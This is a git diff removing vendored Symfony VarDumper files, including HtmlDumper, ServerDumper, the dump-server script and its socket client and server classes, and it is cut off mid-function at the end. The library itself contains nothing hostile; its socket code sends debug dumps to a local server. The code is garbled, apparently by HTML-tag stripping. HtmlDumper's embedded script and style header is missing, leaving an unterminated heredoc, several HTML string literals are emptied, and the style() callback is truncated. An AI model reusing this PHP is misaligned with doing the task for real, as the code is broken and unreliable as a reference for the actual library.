Symfony\Component\HttpFoundation\RequestStack; -use Symfony\Component\VarDumper\Caster\ReflectionCaster; -use Symfony\Component\VarDumper\Cloner\VarCloner; - -/** - * Tries to provide context from a request. - * - * @author Maxime Steinhausser - */ -final class RequestContextProvider implements ContextProviderInterface -{ - private $requestStack; - private $cloner; - - public function __construct(RequestStack $requestStack) - { - $this->requestStack = $requestStack; - $this->cloner = new VarCloner(); - $this->cloner->setMaxItems(0); - $this->cloner->addCasters(ReflectionCaster::UNSET_CLOSURE_FILE_INFO); - } - - public function getContext(): ?array - { - if (null === $request = $this->requestStack->getCurrentRequest()) { - return null; - } - - $controller = $request->attributes->get('_controller'); - - return [ - 'uri' => $request->getUri(), - 'method' => $request->getMethod(), - 'controller' => $controller ? $this->cloner->cloneVar($controller) : $controller, - 'identifier' => spl_object_hash($request), - ]; - } -} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php deleted file mode 100644 index c3cd322..0000000 --- a/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php +++ /dev/null @@ -1,126 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper\ContextProvider; - -use Symfony\Component\HttpKernel\Debug\FileLinkFormatter; -use Symfony\Component\VarDumper\Cloner\VarCloner; -use Symfony\Component\VarDumper\Dumper\HtmlDumper; -use Symfony\Component\VarDumper\VarDumper; -use Twig\Template; - -/** - * Tries to provide context from sources (class name, file, line, code excerpt, ...). - * - * @author Nicolas Grekas - * @author Maxime Steinhausser - */ -final class SourceContextProvider implements ContextProviderInterface -{ - private $limit; - private $charset; - private $projectDir; - private $fileLinkFormatter; - - public function __construct(string $charset = null, string $projectDir = null, FileLinkFormatter $fileLinkFormatter = null, int $limit = 9) - { - $this->charset = $charset; - $this->projectDir = $projectDir; - $this->fileLinkFormatter = $fileLinkFormatter; - $this->limit = $limit; - } - - public function getContext(): ?array - { - $trace = debug_backtrace(\DEBUG_BACKTRACE_PROVIDE_OBJECT | \DEBUG_BACKTRACE_IGNORE_ARGS, $this->limit); - - $file = $trace[1]['file']; - $line = $trace[1]['line']; - $name = false; - $fileExcerpt = false; - - for ($i = 2; $i < $this->limit; ++$i) { - if (isset($trace[$i]['class'], $trace[$i]['function']) - && 'dump' === $trace[$i]['function'] - && VarDumper::class === $trace[$i]['class'] - ) { - $file = $trace[$i]['file'] ?? $file; - $line = $trace[$i]['line'] ?? $line; - - while (++$i < $this->limit) { - if (isset($trace[$i]['function'], $trace[$i]['file']) && empty($trace[$i]['class']) && 0 !== strpos($trace[$i]['function'], 'call_user_func')) { - $file = $trace[$i]['file']; - $line = $trace[$i]['line']; - - break; - } elseif (isset($trace[$i]['object']) && $trace[$i]['object'] instanceof Template) { - $template = $trace[$i]['object']; - $name = $template->getTemplateName(); - $src = method_exists($template, 'getSourceContext') ? $template->getSourceContext()->getCode() : (method_exists($template, 'getSource') ? $template->getSource() : false); - $info = $template->getDebugInfo(); - if (isset($info[$trace[$i - 1]['line']])) { - $line = $info[$trace[$i - 1]['line']]; - $file = method_exists($template, 'getSourceContext') ? $template->getSourceContext()->getPath() : null; - - if ($src) { - $src = explode("\n", $src); - $fileExcerpt = []; - - for ($i = max($line - 3, 1), $max = min($line + 3, \count($src)); $i <= $max; ++$i) { - $fileExcerpt[] = ''.$this->htmlEncode($src[$i - 1]).''; - } - - $fileExcerpt = '
      '.implode("\n", $fileExcerpt).'
    '; - } - } - break; - } - } - break; - } - } - - if (false === $name) { - $name = str_replace('\\', '/', $file); - $name = substr($name, strrpos($name, '/') + 1); - } - - $context = ['name' => $name, 'file' => $file, 'line' => $line]; - $context['file_excerpt'] = $fileExcerpt; - - if (null !== $this->projectDir) { - $context['project_dir'] = $this->projectDir; - if (0 === strpos($file, $this->projectDir)) { - $context['file_relative'] = ltrim(substr($file, \strlen($this->projectDir)), \DIRECTORY_SEPARATOR); - } - } - - if ($this->fileLinkFormatter && $fileLink = $this->fileLinkFormatter->format($context['file'], $context['line'])) { - $context['file_link'] = $fileLink; - } - - return $context; - } - - private function htmlEncode(string $s): string - { - $html = ''; - - $dumper = new HtmlDumper(function ($line) use (&$html) { $html .= $line; }, $this->charset); - $dumper->setDumpHeader(''); - $dumper->setDumpBoundaries('', ''); - - $cloner = new VarCloner(); - $dumper->dump($cloner->cloneVar($s)); - - return substr(strip_tags($html), 1, -1); - } -} diff --git a/vendor/symfony/var-dumper/Dumper/ContextualizedDumper.php b/vendor/symfony/var-dumper/Dumper/ContextualizedDumper.php deleted file mode 100644 index 7638417..0000000 --- a/vendor/symfony/var-dumper/Dumper/ContextualizedDumper.php +++ /dev/null @@ -1,43 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper; - -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; - -/** - * @author Kévin Thérage - */ -class ContextualizedDumper implements DataDumperInterface -{ - private $wrappedDumper; - private $contextProviders; - - /** - * @param ContextProviderInterface[] $contextProviders - */ - public function __construct(DataDumperInterface $wrappedDumper, array $contextProviders) - { - $this->wrappedDumper = $wrappedDumper; - $this->contextProviders = $contextProviders; - } - - public function dump(Data $data) - { - $context = []; - foreach ($this->contextProviders as $contextProvider) { - $context[\get_class($contextProvider)] = $contextProvider->getContext(); - } - - $this->wrappedDumper->dump($data->withContext($context)); - } -} diff --git a/vendor/symfony/var-dumper/Dumper/DataDumperInterface.php b/vendor/symfony/var-dumper/Dumper/DataDumperInterface.php deleted file mode 100644 index b173bcc..0000000 --- a/vendor/symfony/var-dumper/Dumper/DataDumperInterface.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper; - -use Symfony\Component\VarDumper\Cloner\Data; - -/** - * DataDumperInterface for dumping Data objects. - * - * @author Nicolas Grekas - */ -interface DataDumperInterface -{ - public function dump(Data $data); -} diff --git a/vendor/symfony/var-dumper/Dumper/HtmlDumper.php b/vendor/symfony/var-dumper/Dumper/HtmlDumper.php deleted file mode 100644 index 8320f5a..0000000 --- a/vendor/symfony/var-dumper/Dumper/HtmlDumper.php +++ /dev/null @@ -1,1004 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper; - -use Symfony\Component\VarDumper\Cloner\Cursor; -use Symfony\Component\VarDumper\Cloner\Data; - -/** - * HtmlDumper dumps variables as HTML. - * - * @author Nicolas Grekas - */ -class HtmlDumper extends CliDumper -{ - public static $defaultOutput = 'php://output'; - - protected static $themes = [ - 'dark' => [ - 'default' => 'background-color:#18171B; color:#FF8400; line-height:1.2em; font:12px Menlo, Monaco, Consolas, monospace; word-wrap: break-word; white-space: pre-wrap; position:relative; z-index:99999; word-break: break-all', - 'num' => 'font-weight:bold; color:#1299DA', - 'const' => 'font-weight:bold', - 'str' => 'font-weight:bold; color:#56DB3A', - 'note' => 'color:#1299DA', - 'ref' => 'color:#A0A0A0', - 'public' => 'color:#FFFFFF', - 'protected' => 'color:#FFFFFF', - 'private' => 'color:#FFFFFF', - 'meta' => 'color:#B729D9', - 'key' => 'color:#56DB3A', - 'index' => 'color:#1299DA', - 'ellipsis' => 'color:#FF8400', - 'ns' => 'user-select:none;', - ], - 'light' => [ - 'default' => 'background:none; color:#CC7832; line-height:1.2em; font:12px Menlo, Monaco, Consolas, monospace; word-wrap: break-word; white-space: pre-wrap; position:relative; z-index:99999; word-break: break-all', - 'num' => 'font-weight:bold; color:#1299DA', - 'const' => 'font-weight:bold', - 'str' => 'font-weight:bold; color:#629755;', - 'note' => 'color:#6897BB', - 'ref' => 'color:#6E6E6E', - 'public' => 'color:#262626', - 'protected' => 'color:#262626', - 'private' => 'color:#262626', - 'meta' => 'color:#B729D9', - 'key' => 'color:#789339', - 'index' => 'color:#1299DA', - 'ellipsis' => 'color:#CC7832', - 'ns' => 'user-select:none;', - ], - ]; - - protected $dumpHeader; - protected $dumpPrefix = '
    ';
    -    protected $dumpSuffix = '
    '; - protected $dumpId = 'sf-dump'; - protected $colors = true; - protected $headerIsDumped = false; - protected $lastDepth = -1; - protected $styles; - - private $displayOptions = [ - 'maxDepth' => 1, - 'maxStringLength' => 160, - 'fileLinkFormat' => null, - ]; - private $extraDisplayOptions = []; - - /** - * {@inheritdoc} - */ - public function __construct($output = null, string $charset = null, int $flags = 0) - { - AbstractDumper::__construct($output, $charset, $flags); - $this->dumpId = 'sf-dump-'.mt_rand(); - $this->displayOptions['fileLinkFormat'] = ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format'); - $this->styles = static::$themes['dark'] ?? self::$themes['dark']; - } - - /** - * {@inheritdoc} - */ - public function setStyles(array $styles) - { - $this->headerIsDumped = false; - $this->styles = $styles + $this->styles; - } - - public function setTheme(string $themeName) - { - if (!isset(static::$themes[$themeName])) { - throw new \InvalidArgumentException(sprintf('Theme "%s" does not exist in class "%s".', $themeName, static::class)); - } - - $this->setStyles(static::$themes[$themeName]); - } - - /** - * Configures display options. - * - * @param array $displayOptions A map of display options to customize the behavior - */ - public function setDisplayOptions(array $displayOptions) - { - $this->headerIsDumped = false; - $this->displayOptions = $displayOptions + $this->displayOptions; - } - - /** - * Sets an HTML header that will be dumped once in the output stream. - * - * @param string $header An HTML string - */ - public function setDumpHeader($header) - { - $this->dumpHeader = $header; - } - - /** - * Sets an HTML prefix and suffix that will encapse every single dump. - * - * @param string $prefix The prepended HTML string - * @param string $suffix The appended HTML string - */ - public function setDumpBoundaries($prefix, $suffix) - { - $this->dumpPrefix = $prefix; - $this->dumpSuffix = $suffix; - } - - /** - * {@inheritdoc} - */ - public function dump(Data $data, $output = null, array $extraDisplayOptions = []) - { - $this->extraDisplayOptions = $extraDisplayOptions; - $result = parent::dump($data, $output); - $this->dumpId = 'sf-dump-'.mt_rand(); - - return $result; - } - - /** - * Dumps the HTML header. - */ - protected function getDumpHeader() - { - $this->headerIsDumped = null !== $this->outputStream ? $this->outputStream : $this->lineDumper; - - if (null !== $this->dumpHeader) { - return $this->dumpHeader; - } - - $line = str_replace('{$options}', json_encode($this->displayOptions, \JSON_FORCE_OBJECT), <<<'EOHTML' -'.$this->dumpHeader; - } - - /** - * {@inheritdoc} - */ - public function dumpString(Cursor $cursor, $str, $bin, $cut) - { - if ('' === $str && isset($cursor->attr['img-data'], $cursor->attr['content-type'])) { - $this->dumpKey($cursor); - $this->line .= $this->style('default', $cursor->attr['img-size'] ?? '', []).' '; - $this->endValue($cursor); - $this->line .= $this->indentPad; - $this->line .= sprintf('', $cursor->attr['content-type'], base64_encode($cursor->attr['img-data'])); - $this->endValue($cursor); - } else { - parent::dumpString($cursor, $str, $bin, $cut); - } - } - - /** - * {@inheritdoc} - */ - public function enterHash(Cursor $cursor, $type, $class, $hasChild) - { - if (Cursor::HASH_OBJECT === $type) { - $cursor->attr['depth'] = $cursor->depth; - } - parent::enterHash($cursor, $type, $class, false); - - if ($cursor->skipChildren) { - $cursor->skipChildren = false; - $eol = ' class=sf-dump-compact>'; - } elseif ($this->expandNextHash) { - $this->expandNextHash = false; - $eol = ' class=sf-dump-expanded>'; - } else { - $eol = '>'; - } - - if ($hasChild) { - $this->line .= 'refIndex) { - $r = Cursor::HASH_OBJECT !== $type ? 1 - (Cursor::HASH_RESOURCE !== $type) : 2; - $r .= $r && 0 < $cursor->softRefHandle ? $cursor->softRefHandle : $cursor->refIndex; - - $this->line .= sprintf(' id=%s-ref%s', $this->dumpId, $r); - } - $this->line .= $eol; - $this->dumpLine($cursor->depth); - } - } - - /** - * {@inheritdoc} - */ - public function leaveHash(Cursor $cursor, $type, $class, $hasChild, $cut) - { - $this->dumpEllipsis($cursor, $hasChild, $cut); - if ($hasChild) { - $this->line .= ''; - } - parent::leaveHash($cursor, $type, $class, $hasChild, 0); - } - - /** - * {@inheritdoc} - */ - protected function style($style, $value, $attr = []) - { - if ('' === $value) { - return ''; - } - - $v = esc($value); - - if ('ref' === $style) { - if (empty($attr['count'])) { - return sprintf('%s', $v); - } - $r = ('#' !== $v[0] ? 1 - ('@' !== $v[0]) : 2).substr($value, 1); - - return sprintf('%s', $this->dumpId, $r, 1 + $attr['count'], $v); - } - - if ('const' === $style && isset($attr['value'])) { - $style .= sprintf(' title="%s"', esc(is_scalar($attr['value']) ? $attr['value'] : json_encode($attr['value']))); - } elseif ('public' === $style) { - $style .= sprintf(' title="%s"', empty($attr['dynamic']) ? 'Public property' : 'Runtime added dynamic property'); - } elseif ('str' === $style && 1 < $attr['length']) { - $style .= sprintf(' title="%d%s characters"', $attr['length'], $attr['binary'] ? ' binary or non-UTF-8' : ''); - } elseif ('note' === $style && 0 < ($attr['depth'] ?? 0) && false !== $c = strrpos($value, '\\')) { - $style .= ' title=""'; - $attr += [ - 'ellipsis' => \strlen($value) - $c, - 'ellipsis-type' => 'note', - 'ellipsis-tail' => 1, - ]; - } elseif ('protected' === $style) { - $style .= ' title="Protected property"'; - } elseif ('meta' === $style && isset($attr['title'])) { - $style .= sprintf(' title="%s"', esc($this->utf8Encode($attr['title']))); - } elseif ('private' === $style) { - $style .= sprintf(' title="Private property defined in class: `%s`"', esc($this->utf8Encode($attr['class']))); - } - $map = static::$controlCharsMap; - - if (isset($attr['ellipsis'])) { - $class = 'sf-dump-ellipsis'; - if (isset($attr['ellipsis-type'])) { - $class = sprintf('"%s sf-dump-ellipsis-%s"', $class, $attr['ellipsis-type']); - } - $label = esc(substr($value, -$attr['ellipsis'])); - $style = str_replace(' title="', " title=\"$v\n", $style); - $v = sprintf('%s', $class, substr($v, 0, -\strlen($label))); - - if (!empty($attr['ellipsis-tail'])) { - $tail = \strlen(esc(substr($value, -$attr['ellipsis'], $attr['ellipsis-tail']))); - $v .= sprintf('%s%s', $class, substr($label, 0, $tail), substr($label, $tail)); - } else { - $v .= $label; - } - } - - $v = "".preg_replace_callback(static::$controlCharsRx, function ($c) use ($map) { - $s = $b = ''; - }, $v).''; - - if (isset($attr['file']) && $href = $this->getSourceLink($attr['file'], isset($attr['line']) ? $attr['line'] : 0)) { - $attr['href'] = $href; - } - if (isset($attr['href'])) { - $target = isset($attr['file']) ? '' : ' target="_blank"'; - $v = sprintf('%s', esc($this->utf8Encode($attr['href'])), $target, $v); - } - if (isset($attr['lang'])) { - $v = sprintf('%s', esc($attr['lang']), $v); - } - - return $v; - } - - /** - * {@inheritdoc} - */ - protected function dumpLine($depth, $endOfValue = false) - { - if (-1 === $this->lastDepth) { - $this->line = sprintf($this->dumpPrefix, $this->dumpId, $this->indentPad).$this->line; - } - if ($this->headerIsDumped !== (null !== $this->outputStream ? $this->outputStream : $this->lineDumper)) { - $this->line = $this->getDumpHeader().$this->line; - } - - if (-1 === $depth) { - $args = ['"'.$this->dumpId.'"']; - if ($this->extraDisplayOptions) { - $args[] = json_encode($this->extraDisplayOptions, \JSON_FORCE_OBJECT); - } - // Replace is for BC - $this->line .= sprintf(str_replace('"%s"', '%s', $this->dumpSuffix), implode(', ', $args)); - } - $this->lastDepth = $depth; - - $this->line = mb_convert_encoding($this->line, 'HTML-ENTITIES', 'UTF-8'); - - if (-1 === $depth) { - AbstractDumper::dumpLine(0); - } - AbstractDumper::dumpLine($depth); - } - - private function getSourceLink(string $file, int $line) - { - $options = $this->extraDisplayOptions + $this->displayOptions; - - if ($fmt = $options['fileLinkFormat']) { - return \is_string($fmt) ? strtr($fmt, ['%f' => $file, '%l' => $line]) : $fmt->format($file, $line); - } - - return false; - } -} - -function esc($str) -{ - return htmlspecialchars($str, \ENT_QUOTES, 'UTF-8'); -} diff --git a/vendor/symfony/var-dumper/Dumper/ServerDumper.php b/vendor/symfony/var-dumper/Dumper/ServerDumper.php deleted file mode 100644 index 94795bf..0000000 --- a/vendor/symfony/var-dumper/Dumper/ServerDumper.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Dumper; - -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; -use Symfony\Component\VarDumper\Server\Connection; - -/** - * ServerDumper forwards serialized Data clones to a server. - * - * @author Maxime Steinhausser - */ -class ServerDumper implements DataDumperInterface -{ - private $connection; - private $wrappedDumper; - - /** - * @param string $host The server host - * @param DataDumperInterface|null $wrappedDumper A wrapped instance used whenever we failed contacting the server - * @param ContextProviderInterface[] $contextProviders Context providers indexed by context name - */ - public function __construct(string $host, DataDumperInterface $wrappedDumper = null, array $contextProviders = []) - { - $this->connection = new Connection($host, $contextProviders); - $this->wrappedDumper = $wrappedDumper; - } - - public function getContextProviders(): array - { - return $this->connection->getContextProviders(); - } - - /** - * {@inheritdoc} - */ - public function dump(Data $data) - { - if (!$this->connection->write($data) && $this->wrappedDumper) { - $this->wrappedDumper->dump($data); - } - } -} diff --git a/vendor/symfony/var-dumper/Exception/ThrowingCasterException.php b/vendor/symfony/var-dumper/Exception/ThrowingCasterException.php deleted file mode 100644 index 122f0d3..0000000 --- a/vendor/symfony/var-dumper/Exception/ThrowingCasterException.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Exception; - -/** - * @author Nicolas Grekas - */ -class ThrowingCasterException extends \Exception -{ - /** - * @param \Throwable $prev The exception thrown from the caster - */ - public function __construct(\Throwable $prev) - { - parent::__construct('Unexpected '.\get_class($prev).' thrown from a caster: '.$prev->getMessage(), 0, $prev); - } -} diff --git a/vendor/symfony/var-dumper/LICENSE b/vendor/symfony/var-dumper/LICENSE deleted file mode 100644 index 684fbf9..0000000 --- a/vendor/symfony/var-dumper/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2014-2020 Fabien Potencier - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/symfony/var-dumper/README.md b/vendor/symfony/var-dumper/README.md deleted file mode 100644 index 339f73e..0000000 --- a/vendor/symfony/var-dumper/README.md +++ /dev/null @@ -1,15 +0,0 @@ -VarDumper Component -=================== - -The VarDumper component provides mechanisms for walking through any arbitrary -PHP variable. It provides a better `dump()` function that you can use instead -of `var_dump`. - -Resources ---------- - - * [Documentation](https://symfony.com/doc/current/components/var_dumper/introduction.html) - * [Contributing](https://symfony.com/doc/current/contributing/index.html) - * [Report issues](https://github.com/symfony/symfony/issues) and - [send Pull Requests](https://github.com/symfony/symfony/pulls) - in the [main Symfony repository](https://github.com/symfony/symfony) diff --git a/vendor/symfony/var-dumper/Resources/bin/var-dump-server b/vendor/symfony/var-dumper/Resources/bin/var-dump-server deleted file mode 100644 index 98c813a..0000000 --- a/vendor/symfony/var-dumper/Resources/bin/var-dump-server +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env php - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -/** - * Starts a dump server to collect and output dumps on a single place with multiple formats support. - * - * @author Maxime Steinhausser - */ - -use Psr\Log\LoggerInterface; -use Symfony\Component\Console\Application; -use Symfony\Component\Console\Input\ArgvInput; -use Symfony\Component\Console\Input\InputOption; -use Symfony\Component\Console\Logger\ConsoleLogger; -use Symfony\Component\Console\Output\ConsoleOutput; -use Symfony\Component\VarDumper\Command\ServerDumpCommand; -use Symfony\Component\VarDumper\Server\DumpServer; - -function includeIfExists(string $file): bool -{ - return file_exists($file) && include $file; -} - -if ( - !includeIfExists(__DIR__ . '/../../../../autoload.php') && - !includeIfExists(__DIR__ . '/../../vendor/autoload.php') && - !includeIfExists(__DIR__ . '/../../../../../../vendor/autoload.php') -) { - fwrite(STDERR, 'Install dependencies using Composer.'.PHP_EOL); - exit(1); -} - -if (!class_exists(Application::class)) { - fwrite(STDERR, 'You need the "symfony/console" component in order to run the VarDumper server.'.PHP_EOL); - exit(1); -} - -$input = new ArgvInput(); -$output = new ConsoleOutput(); -$defaultHost = '127.0.0.1:9912'; -$host = $input->getParameterOption(['--host'], $_SERVER['VAR_DUMPER_SERVER'] ?? $defaultHost, true); -$logger = interface_exists(LoggerInterface::class) ? new ConsoleLogger($output->getErrorOutput()) : null; - -$app = new Application(); - -$app->getDefinition()->addOption( - new InputOption('--host', null, InputOption::VALUE_REQUIRED, 'The address the server should listen to', $defaultHost) -); - -$app->add($command = new ServerDumpCommand(new DumpServer($host, $logger))) - ->getApplication() - ->setDefaultCommand($command->getName(), true) - ->run($input, $output) -; diff --git a/vendor/symfony/var-dumper/Resources/css/htmlDescriptor.css b/vendor/symfony/var-dumper/Resources/css/htmlDescriptor.css deleted file mode 100644 index 8f706d6..0000000 --- a/vendor/symfony/var-dumper/Resources/css/htmlDescriptor.css +++ /dev/null @@ -1,130 +0,0 @@ -body { - display: flex; - flex-direction: column-reverse; - justify-content: flex-end; - max-width: 1140px; - margin: auto; - padding: 15px; - word-wrap: break-word; - background-color: #F9F9F9; - color: #222; - font-family: Helvetica, Arial, sans-serif; - font-size: 14px; - line-height: 1.4; -} -p { - margin: 0; -} -a { - color: #218BC3; - text-decoration: none; -} -a:hover { - text-decoration: underline; -} -.text-small { - font-size: 12px !important; -} -article { - margin: 5px; - margin-bottom: 10px; -} -article > header > .row { - display: flex; - flex-direction: row; - align-items: baseline; - margin-bottom: 10px; -} -article > header > .row > .col { - flex: 1; - display: flex; - align-items: baseline; -} -article > header > .row > h2 { - font-size: 14px; - color: #222; - font-weight: normal; - font-family: "Lucida Console", monospace, sans-serif; - word-break: break-all; - margin: 20px 5px 0 0; - user-select: all; -} -article > header > .row > h2 > code { - white-space: nowrap; - user-select: none; - color: #cc2255; - background-color: #f7f7f9; - border: 1px solid #e1e1e8; - border-radius: 3px; - margin-right: 5px; - padding: 0 3px; -} -article > header > .row > time.col { - flex: 0; - text-align: right; - white-space: nowrap; - color: #999; - font-style: italic; -} -article > header ul.tags { - list-style: none; - padding: 0; - margin: 0; - font-size: 12px; -} -article > header ul.tags > li { - user-select: all; - margin-bottom: 2px; -} -article > header ul.tags > li > span.badge { - display: inline-block; - padding: .25em .4em; - margin-right: 5px; - border-radius: 4px; - background-color: #6c757d3b; - color: #524d4d; - font-size: 12px; - text-align: center; - font-weight: 700; - line-height: 1; - white-space: nowrap; - vertical-align: baseline; - user-select: none; -} -article > section.body { - border: 1px solid #d8d8d8; - background: #FFF; - padding: 10px; - border-radius: 3px; -} -pre.sf-dump { - border-radius: 3px; - margin-bottom: 0; -} -.hidden { - display: none !important; -} -.dumped-tag > .sf-dump { - display: inline-block; - margin: 0; - padding: 1px 5px; - line-height: 1.4; - vertical-align: top; - background-color: transparent; - user-select: auto; -} -.dumped-tag > pre.sf-dump, -.dumped-tag > .sf-dump-default { - color: #CC7832; - background: none; -} -.dumped-tag > .sf-dump .sf-dump-str { color: #629755; } -.dumped-tag > .sf-dump .sf-dump-private, -.dumped-tag > .sf-dump .sf-dump-protected, -.dumped-tag > .sf-dump .sf-dump-public { color: #262626; } -.dumped-tag > .sf-dump .sf-dump-note { color: #6897BB; } -.dumped-tag > .sf-dump .sf-dump-key { color: #789339; } -.dumped-tag > .sf-dump .sf-dump-ref { color: #6E6E6E; } -.dumped-tag > .sf-dump .sf-dump-ellipsis { color: #CC7832; max-width: 100em; } -.dumped-tag > .sf-dump .sf-dump-ellipsis-path { max-width: 5em; } -.dumped-tag > .sf-dump .sf-dump-ns { user-select: none; } diff --git a/vendor/symfony/var-dumper/Resources/functions/dump.php b/vendor/symfony/var-dumper/Resources/functions/dump.php deleted file mode 100644 index a485d57..0000000 --- a/vendor/symfony/var-dumper/Resources/functions/dump.php +++ /dev/null @@ -1,43 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -use Symfony\Component\VarDumper\VarDumper; - -if (!function_exists('dump')) { - /** - * @author Nicolas Grekas - */ - function dump($var, ...$moreVars) - { - VarDumper::dump($var); - - foreach ($moreVars as $v) { - VarDumper::dump($v); - } - - if (1 < func_num_args()) { - return func_get_args(); - } - - return $var; - } -} - -if (!function_exists('dd')) { - function dd(...$vars) - { - foreach ($vars as $v) { - VarDumper::dump($v); - } - - exit(1); - } -} diff --git a/vendor/symfony/var-dumper/Resources/js/htmlDescriptor.js b/vendor/symfony/var-dumper/Resources/js/htmlDescriptor.js deleted file mode 100644 index 63101e5..0000000 --- a/vendor/symfony/var-dumper/Resources/js/htmlDescriptor.js +++ /dev/null @@ -1,10 +0,0 @@ -document.addEventListener('DOMContentLoaded', function() { - let prev = null; - Array.from(document.getElementsByTagName('article')).reverse().forEach(function (article) { - const dedupId = article.dataset.dedupId; - if (dedupId === prev) { - article.getElementsByTagName('header')[0].classList.add('hidden'); - } - prev = dedupId; - }); -}); diff --git a/vendor/symfony/var-dumper/Server/Connection.php b/vendor/symfony/var-dumper/Server/Connection.php deleted file mode 100644 index d8be235..0000000 --- a/vendor/symfony/var-dumper/Server/Connection.php +++ /dev/null @@ -1,95 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Server; - -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; - -/** - * Forwards serialized Data clones to a server. - * - * @author Maxime Steinhausser - */ -class Connection -{ - private $host; - private $contextProviders; - private $socket; - - /** - * @param string $host The server host - * @param ContextProviderInterface[] $contextProviders Context providers indexed by context name - */ - public function __construct(string $host, array $contextProviders = []) - { - if (false === strpos($host, '://')) { - $host = 'tcp://'.$host; - } - - $this->host = $host; - $this->contextProviders = $contextProviders; - } - - public function getContextProviders(): array - { - return $this->contextProviders; - } - - public function write(Data $data): bool - { - $socketIsFresh = !$this->socket; - if (!$this->socket = $this->socket ?: $this->createSocket()) { - return false; - } - - $context = ['timestamp' => microtime(true)]; - foreach ($this->contextProviders as $name => $provider) { - $context[$name] = $provider->getContext(); - } - $context = array_filter($context); - $encodedPayload = base64_encode(serialize([$data, $context]))."\n"; - - set_error_handler([self::class, 'nullErrorHandler']); - try { - if (-1 !== stream_socket_sendto($this->socket, $encodedPayload)) { - return true; - } - if (!$socketIsFresh) { - stream_socket_shutdown($this->socket, \STREAM_SHUT_RDWR); - fclose($this->socket); - $this->socket = $this->createSocket(); - } - if (-1 !== stream_socket_sendto($this->socket, $encodedPayload)) { - return true; - } - } finally { - restore_error_handler(); - } - - return false; - } - - private static function nullErrorHandler($t, $m) - { - // no-op - } - - private function createSocket() - { - set_error_handler([self::class, 'nullErrorHandler']); - try { - return stream_socket_client($this->host, $errno, $errstr, 3, \STREAM_CLIENT_CONNECT | \STREAM_CLIENT_ASYNC_CONNECT); - } finally { - restore_error_handler(); - } - } -} diff --git a/vendor/symfony/var-dumper/Server/DumpServer.php b/vendor/symfony/var-dumper/Server/DumpServer.php deleted file mode 100644 index 23b35b2..0000000 --- a/vendor/symfony/var-dumper/Server/DumpServer.php +++ /dev/null @@ -1,107 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Server; - -use Psr\Log\LoggerInterface; -use Symfony\Component\VarDumper\Cloner\Data; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * A server collecting Data clones sent by a ServerDumper. - * - * @author Maxime Steinhausser - * - * @final - */ -class DumpServer -{ - private $host; - private $socket; - private $logger; - - public function __construct(string $host, LoggerInterface $logger = null) - { - if (false === strpos($host, '://')) { - $host = 'tcp://'.$host; - } - - $this->host = $host; - $this->logger = $logger; - } - - public function start(): void - { - if (!$this->socket = stream_socket_server($this->host, $errno, $errstr)) { - throw new \RuntimeException(sprintf('Server start failed on "%s": ', $this->host).$errstr.' '.$errno); - } - } - - public function listen(callable $callback): void - { - if (null === $this->socket) { - $this->start(); - } - - foreach ($this->getMessages() as $clientId => $message) { - $payload = @unserialize(base64_decode($message), ['allowed_classes' => [Data::class, Stub::class]]); - - // Impossible to decode the message, give up. - if (false === $payload) { - if ($this->logger) { - $this->logger->warning('Unable to decode a message from {clientId} client.', ['clientId' => $clientId]); - } - - continue; - } - - if (!\is_array($payload) || \count($payload) < 2 || !$payload[0] instanceof Data || !\is_array($payload[1])) { - if ($this->logger) { - $this->logger->warning('Invalid payload from {clientId} client. Expected an array of two elements (Data $data, array $context)', ['clientId' => $clientId]); - } - - continue; - } - - list($data, $context) = $payload; - - $callback($data, $context, $clientId); - } - } - - public function getHost(): string - { - return $this->host; - } - - private function getMessages(): iterable - { - 